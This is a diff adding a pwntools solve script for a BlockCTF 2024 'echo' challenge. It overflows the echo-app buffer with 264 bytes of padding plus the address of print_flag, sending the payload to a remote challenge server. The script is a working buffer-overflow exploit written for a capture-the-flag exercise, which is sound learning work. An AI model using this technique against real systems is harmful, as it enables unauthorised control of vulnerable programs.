solve script

blockctf_2024/echo/a.py

@@ -0,0 +1,17 @@
+#!/usr/bin/python3
+
+from pwn import *
+
+context.binary = target = ELF("./echo-app", checksec=False)
+# r = process()
+r = remote("54.85.45.101", 8008)
+
+# funcs
+s = lambda a: r.sendline(a)
+
+# buf
+buf = b"A"*264
+buf += p64(target.sym.print_flag)
+s(buf)
+
+r.interactive()